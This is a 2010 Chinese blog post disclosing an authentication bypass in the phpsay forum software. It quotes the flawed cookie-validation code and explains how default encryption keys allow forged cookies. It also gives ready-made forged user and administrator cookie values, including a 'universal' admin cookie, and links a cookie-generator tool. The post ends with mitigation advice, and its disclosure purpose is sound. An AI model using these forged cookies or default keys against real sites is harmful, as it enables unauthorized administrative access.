当前位置: 主页 > 日志 > 网络安全 >

phpsay登录验证漏洞0day

// by redice 2010.05.22
// by redice@163.com

声明:仅以研究、交流技术为目的发布本文,对文中提到的网站和软件作者没有丝毫恶意。如感不妥请邮件说明。

由于最近项目中需要整合一个贴吧,在朋友推荐下我用了phpsay(谷歌了一下,使用这个系统的网站还真不少)。

phpsay是一款基于php的贴吧系统,官方地址是http://www.phpsay.com 。目前最新版是2.0.8。

这套系统代码非常简洁,结构清晰,使用了脚本引擎,界面风格也非常不错,和百度贴吧很像。

非常感谢作者开源,在这里对作者表示敬意!



昨天muoduzhang让我测一下这个系统的安全性,于是我就分析了一下源码,结果刚看到登录验证就发现了问题。

(1)先看看普通会员身份认证的Bug。

普通会员登录成功后,系统通过loginCookie(参数略)设置Cookie,loginCookie()代码如下:

function loginCookie($uid,$name,$group,$ip,$time)
{
    global $site_domain,$login_key;
    
    $domain = (substr($site_domain,0,4) == "www.") ? substr($site_domain,3) : ".".$site_domain;

    $secure = Xxtea::encrypt($uid."|".$name."|".$group."|".$ip,$login_key);

    setcookie("userId",$uid,$time+86400,"/",$domain);

    setcookie("userName",$name,$time+86400,"/",$domain);

    setcookie("userGroup",$group,$time+86400,"/",$domain);
            
    setcookie("userSecure",$secure,$time+86400,"/",$domain);
}


可以看出,登录成功后系统将userId,userName,userGroup这些信息存入Cookie中,并将$uid."|".$name."|".$group."|".$ip,$login_key 这个字符串加密
后的结果存入cookie(其中Xxtea是一个字符串加密类,$login_key是加密的密钥,系统安装后$login_key默认值为"1234567890abcdef"),

在global.php,系统通过isLogin()判断普通会员是否登录,isLogin()代码如下:


function isLogin()
{
    global $login_key;

    if( isset($_COOKIE[userId],$_COOKIE[userName],$_COOKIE[userGroup],$_COOKIE[userSecure]) )
    {
        $Sc = explode("|",Xxtea::decrypt($_COOKIE[userSecure],$login_key));

        if( isset($Sc[0],$Sc[1],$Sc[2]) )
        {
            if( $_COOKIE[userId] == $Sc[0] && $_COOKIE[userName] == $Sc[1] && $_COOKIE[userGroup] == $Sc[2] )
            {
                return true;
            }
        }
    }

    return false;
}


显然encrypt()的加密算法是可逆的。系统判断cookie中userSecure密文解析后的结果是否分别与cookie中的userId,userName,userGroup
相等,如果相等则认为用户已登录。由于cookie是存在客户端的,完全受我们控制,我们可以构造一个欺骗的cookie,以任意人
的身份登录系统。

在phpsay系统中,通过查看帖子作者信息很容易获取userId,userName,userGroup这些信息, 系统安装后$login_key默认值为"1234567890abcdef"(/database/config_secure.php)。
假设某用户userId=1,userName=say,userGroup=6(id=1的肯定是系统管理员,用户组ID为6,/include/config_group.php文件中定义了各用户组,用户组数组索引即为用户组ID),
我们很容易构造出该用户登录后的cookie值如下:

userId=1; userName=say; userGroup=6; userSecure=dufXC63uw7JgFRyJVo6r8cnbsbup2M0s6BQPHA%3D%3D;

其中userSecure我们可以通过 urlencode(Xxtea::encrypt($uid."|".$name."|".$group."|".$ip,$login_key)) 得到
(后面附phpsay的cookie生成器)。

如果我们把本地的cookie修改为上述的值(后面附可以直接修改cookie的浏览器),就能成功通过登录验证。这样就能以任何人的身份登录系统了。


(2)再来看看管理员是如何进行身份认证的。

查看/admin/include/function.php中的adminCookie()和adminLogin()


function adminCookie()
{
    global $admin_key;

    $Secure = Xxtea::encrypt($_COOKIE[userName]."|".$_COOKIE[userId],$admin_key);
            
    @setcookie("adminSecure",$Secure,time()+86400,"/");
}

function adminLogin()
{
    global $admin_key;

    if( isset($_COOKIE[userId],$_COOKIE[userName],$_COOKIE[adminSecure]) )
    {
        $Sc = explode("|",Xxtea::decrypt($_COOKIE[adminSecure],$admin_key));

        if( isset($Sc[1],$Sc[0]) && $_COOKIE[userId] == $Sc[1] && $_COOKIE[userName] == $Sc[0] )
        {
            return true;
        }
    }

    return false;
}



可以看出管理员验证和普通会员相比仅仅是在cookie中多存了个adminSecure而已,$admin_key的默认值为“abCdef1234567890”,
这样我们也可以计算出上述管理员对应的adminSecure=JkvzSpGIpInAIHO8

修改cookie如下,
userId=1; userName=say; userGroup=6; userSecure=dufXC63uw7JgFRyJVo6r8cnbsbup2M0s6BQPHA%3D%3D; adminSecure=JkvzSpGIpInAIHO8
访问/admin/,成功进入后台,截图如下:



声明:作者发布此图仅为研究技术,对该网站没有任何恶意。

PS:如果$login_key和$admin_key的默认值没用修改的话,下面就是一个进入系统后台的万能cookie:

userId=1; userName=redice; userGroup=6; userSecure=valgi3VyUw%2FffQFYHVrWU7zAPoW%2ByIbYu%2Fn1umriB64%3D;adminSecure=giaBPbrX%2FyJIufkL

漏洞暂时解决方案:

为了安全起见,请各位站长将$login_key和$admin_key修改为较复杂的字母数字特殊符号组合。
这并不是万全之策,因为通过穷举法还是容易得出$login_key和$admin_key值的。

对phpsay作者的建议:
(1)可以考虑加入通过session验证。
(2)强烈建议安装后修改$login_key和$admin_key的值为随机值。


附:phpsay cookie生成器(需要php环境运行)。
File: Click to Download

附:可以直接修改cookie的浏览器。
File: Click to Download

附:本文txt版。
File: Click to Download

[日志信息]

该日志于 2010-05-22 14:39 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “phpsay登录验证漏洞0day” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!!    (尊重他人劳动,你我共同努力)
   
验证(必填):   点击我更换验证码

redice's Blog  is powered by DedeCms |  Theme by Monkeii.Lee |  网站地图 |  本服务器由西安鲲之鹏网络信息技术有限公司友情提供

返回顶部